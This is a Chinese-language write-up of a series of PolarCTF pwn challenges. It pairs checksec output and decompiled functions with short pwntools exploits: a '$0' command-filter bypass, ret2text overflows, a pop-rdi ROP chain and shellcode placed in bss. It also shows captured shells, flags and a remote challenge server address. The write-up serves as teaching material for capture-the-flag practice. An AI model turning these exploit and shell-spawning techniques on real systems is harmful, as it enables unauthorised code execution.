简单

sandbox

[*] '/mnt/d/ctf/polarctf/PWN/sandbox'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

放入ida中进一步分析一下

__int64 box()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Please input your command");
puts("No sh,no cat,no flag.");
system("ls");
read(0, buf, 0x20u);
if ( strchr(buf, 's') || strchr(buf, 'h') || strstr(buf, "cat") || strstr(buf, "flag") || strchr(buf, '-') )
{
puts("Illegal command.");
exit(0);
}
system(buf);
return 0;
}

题目编写的很简单,执行用户输入的指令,但是不能输入sh、cat、flag这些字符串作为指令执行。有一个system(“$0”),也会再启动一个新的shell,这里的$0是交给外层shell展开的,外层shell执行时,命令是

/bin/sh -c "$0"

在这个外层shell中,$0通常表示shell自己的名字,一般system调用外层shell时,argv[0]是sh,所以正常情况下执行system(“$0”)和执行system(“sh”)没什么区别。而这道题目恰好没有禁用$0这一字符串,就可以输入$0从而获取shell,在新的shell里面就没有程序中那些限制了,就可以获得flag了。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./sandbox'
#libc_file=''
elf=ELF(pwn_file)
#libc=ELF(libc_file)
#rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='1.95.36.136'
port=2125
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

sl(b"$0")
#连接
#--------------------------------------------------------------------------------
ioi()

creeper

[*] '/mnt/d/ctf/polarctf/PWN/creeper'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

很常规的保护,直接进入ida中进行分析

__int64 game()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("Creeper?");
read(0, buf, 0x100u);
if ( strlen(buf) == 0xF )
{
puts("Aw man");
system("cat flag");
}
else
{
puts("Si............");
}
return 0;
}

使用strlen函数判断输入的字符串长度是否为0xF,如果是就获得flag,否则就退出程序,那么就很简单了,直接输入长度为0xF的字符串就行了。因为上面给了模板,后面文章的exp就直接简化了。exp如下:

payload = cyclic(0xF)
s(payload)
Creeper?
Aw man
flag{0ae8d217-5b6c-4f04-aedb-4f8d043b3634}

简单溢出

[*] '/mnt/d/ctf/polarctf/PWN/hahaha'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

依旧是一个很常规的保护,放入ida中进行分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE v4[48]; // [rsp+0h] [rbp-30h] BYREF

__isoc99_scanf("%s", v4);
return 0;
}
int fact()
{
return system("/bin/sh");
}

scanf函数也是存在缓冲区溢出的问题,而这道题目没有任何检查与限制,因此就可以利用这个造成栈溢出,接着将返回地址修改为程序中存在的后门函数即可获得shell。exp如下:

ret = 0x0000000000400441
fact = 0x400596
payload = cyclic(0x30 + 8) + p64(ret) + p64(fact)
sl(payload)
$ ls
bin
dev
flag
lib
lib32
lib64
pwn2
$ cat flag
flag{c99e2a38-f47a-4828-97a6-846283f45ff8}

system

[*] '/mnt/d/ctf/polarctf/PWN/system'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

主要关注的是canary保护的开启,需要绕过一下。

int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdout, 0);
setbuf(stdin, 0);
printf("input:");
read(0, buf, 0x1Eu);
system(buf);
return 0;
}

好吧,挺简单的,将我们输入的字符串作为指令执行。由于这道题目没有任何输入限制,直接输入/bin/sh字符串就可以获得shell了。exp如下:

sl(b"/bin/sh\x00")
$ ls
bin
dev
flag
lib
lib32
lib64
pwn2
$ cat flag
flag{5748f023-3e11-45d8-9beb-0b8854a54d75}

Emm

[*] '/mnt/d/ctf/polarctf/PWN/emm'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

这次是一道32位的题目

int yes()
{
_BYTE buf[88]; // [esp+0h] [ebp-58h] BYREF

puts("/bin/sh");
read(0, buf, 0x100u);
return 0;
}
int flag()
{
system("cat flag");
return 0;
}

存在明显的栈溢出以及可以获得flag的函数,当然这道题目可以构造system(“/bin/sh”),毕竟给了”/bin/sh”字符串以及system函数,这里就用前面的那个方法吧。exp如下:

flag = 0x80484CB
payload = cyclic(0x58 + 4) + p32(flag)
sl(payload)
/bin/sh
flag{df92f254-2f24-4bb9-b38d-4d99e8e8c72c}

Choice

int __fastcall main(int argc, const char **argv, const char **envp)
{
int p_n2; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts(&s);
puts("Menu:");
puts(a1);
puts(a2);
puts(a3);
__isoc99_scanf(&unk_400A75, &p_n2);
if ( p_n2 == 1 )
{
Data1();
}
else if ( p_n2 == 2 )
{
Data2();
}
else
{
Data3();
}
return 0;
}
int Data3()
{
_BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF

puts(&s__1);
read(0, buf, 0x50u);
return printf(&format);
}
int Shell()
{
return system("/bin/sh");
}

存在明显的栈溢出函数以及后门函数,那么直接利用栈溢出将返回地址修改为后门函数即可获得shell。exp如下:

ret = 0x0000000000400629
shell = 0x4007BD
sl(b"3")
payload = cyclic(0x30 + 8) + p64(ret) + p64(shell)
sl(payload)
$ ls
bin
dev
flag
lib
lib32
lib64
pwn2
$ cat flag
flag{97a640e9-be5f-45bc-bf51-ae4629d10a83}

overload1

int __fastcall main(int argc, const char **argv, const char **envp)
{
int result; // eax
_BYTE v4[270]; // [rsp+0h] [rbp-110h] BYREF
_BYTE v5[2]; // [rsp+10Eh] [rbp-2h] BYREF

init(argc, argv, envp);
puts(&s);
puts(&s_);
__isoc99_scanf(&unk_4009F7, v5);
getchar();
if ( v5[0] == 'y' )
{
puts(&s__0);
result = gets(v4);
}
else
{
result = printf(&format);
}
if ( v5[1] == 'a' )
return system("/bin/sh");
return result;
}

这道题目的考点就是利用某一变量的溢出修改另一个变量的值,这里使用的是gets函数向变量v4中输入数据,而且是能够覆盖到v5[1]的值的。exp如下:

sl(b"y")
payload = b"a"*(0x110 - 1) + b"a"
sl(payload)
$ ls
bin
dev
flag
lib
lib32
lib64
pwn2
$ cat flag
flag{e4749a8f-cc1a-4fb3-b250-03cfd61dda22}
$

x64

[*] '/mnt/d/ctf/polarctf/PWN/x64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

保护几乎什么都没开,这道题还可以打shellcode

ssize_t function(void)
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x200u);
}
int __fastcall Shell(char *command)
{
return system(command);
}
.data:0000000000601060 public null
.data:0000000000601060 null db '/bin/sh',0

这道题的考点就是64位中如何进行传参,存在栈溢出和后门函数以及/bin/sh字符串,直接构造就行了。exp如下:

ret = 0x0000000000400549
pop_rdi = 0x00000000004007e3
bin_sh = 0x0601060
shell = 0x4006B6

payload = cyclic(0x80 + 8) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(shell)
sl(payload)
$ ls
bin
dev
flag
lib
lib32
lib64
pwn2
$ cat flag
flag{d6661fd5-beef-4e03-a37e-954300b5c500}
$

你是大佬还是菜鸡

int __fastcall main(int argc, const char **argv, const char **envp)
{
int n2; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
n2 = 0;
puts("Hei! I'll give you 2 ways!");
puts("Chose who you are!");
puts("1. Da Lao");
puts("2. Cai Ji");
__isoc99_scanf("%d", &n2);
if ( n2 <= 0 || n2 > 2 )
exit(0);
if ( n2 == 1 )
dalao();
caiji();
return 0;
}
ssize_t caiji()
{
_QWORD buf[3]; // [rsp+0h] [rbp-20h] BYREF
int v2; // [rsp+18h] [rbp-8h]
__int16 v3; // [rsp+1Ch] [rbp-4h]

memset(buf, 0, sizeof(buf));
v2 = 0;
v3 = 0;
return read(0, buf, 0x64u);
}
int hint()
{
return system("/bin/sh");
}

存在明显的栈溢出以及后门函数,直接打就行了。exp如下:

ret = 0x00000000004005d9
hint = 0x4008B0
sl(b"2")
payload = cyclic(0x20 + 8) + p64(ret) + p64(hint)
sl(payload)
$ ls
bin
dev
flag
lib
lib32
lib64
pwn2
$ cat flag
flag{2cd27d2a-b083-4580-906e-71287f26221c}
$

Easy_ShellCode

[*] '/mnt/d/ctf/polarctf/PWN/Easy_ShellCode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位的题目,可以打shellcode

ssize_t Start()
{
_BYTE buf[104]; // [esp+0h] [ebp-68h] BYREF

init();
write(1, "Please Input:\n", 0xEu);
read(0, &str, 0x100u);
puts("What,s your name ?:");
return read(0, buf, 0x100u);
}

str是在bss段上,可以向其输入shellcode,接着利用栈溢出修改返回地址为str的地址执行输入的shellcode。exp如下:

str = 0x0804A080
shellcode = asm(shellcraft.sh())
sl(shellcode)
payload = cyclic(0x68 + 4) + p32(str)
sl(payload)
$ ls
bin
dev
flag
lib
lib32
lib64
pwn2
$ cat flag
flag{84c821fb-0d3c-40fa-b222-dbfff09f8306}
$

小狗汪汪汪

int dog()
{
char s[9]; // [esp+Fh] [ebp-9h] BYREF

puts("Hungry!!!");
puts("This puppy needs to eat a few bones?");
gets(s);
return puts("Woof!!!");
}
int getshell()
{
return system("/bin/sh");
}

存在栈溢出以及后门函数,直接上exp:

getshell = 0x804859B
payload = cyclic(0x9 + 4) + p32(getshell)
sl(payload)

play

[*] '/mnt/d/ctf/polarctf/PWN/play'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

看起来可以打64位的shellcode

__int64 play()
{
_BYTE v1[48]; // [rsp+0h] [rbp-30h] BYREF

puts("I think you must enjoy playing.");
read(0, &buf, 0x64u);
puts("Name your favorite game?");
gets(v1);
return 0;
}

buf在bss段上,那么就可以打shellcode了。exp如下:

buf = 0x06010A0
shellcode = asm(shellcraft.sh())
sl(shellcode)
payload = cyclic(0x30 + 8) + p64(buf)
sl(payload)
$ ls
bin
dev
flag
lib
lib32
lib64
pwn2
$ cat flag
flag{edbf32fc-4958-47d1-b2c8-fe8a0a66fd43}
$

name4

[*] '/mnt/d/ctf/polarctf/PWN/name4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

感觉依旧能打32位的shellcode

ssize_t Start()
{
char s[20]; // [esp+8h] [ebp-20h] BYREF
int v2; // [esp+1Ch] [ebp-Ch]

v2 = 0;
puts("Enter your name:");
read(0, name, 0x40u);
puts("Enter your best friend name:");
read(0, &::s, 0x40u);
if ( name[0] )
return write(1, "Are you OK?", 0xEu);
puts("give you stack overflow:");
gets(s);
return printf("byebye%s\n", name);
}

确实可以打shellcode,但是想要进行栈溢出将返回地址修改为输入shellcode的地址,必须得name[0]==0,才能绕过if判断。这里就直接输入\x00即可绕过。exp如下:

s_addr = 0x0804A0E0
shellcode = asm(shellcraft.sh())
payload = cyclic(0x20 + 4) + p32(s_addr)
sla("Enter your name:",b"\x00")
sla("Enter your best friend name:",shellcode)
sla("give you stack overflow:",payload)
$ ls
bin
dev
flag
lib
lib32
lib64
pwn2
$ cat flag
flag{02d2e0b4-469b-4728-9f99-cc2880757b68}
$

heap_Easy_Uaf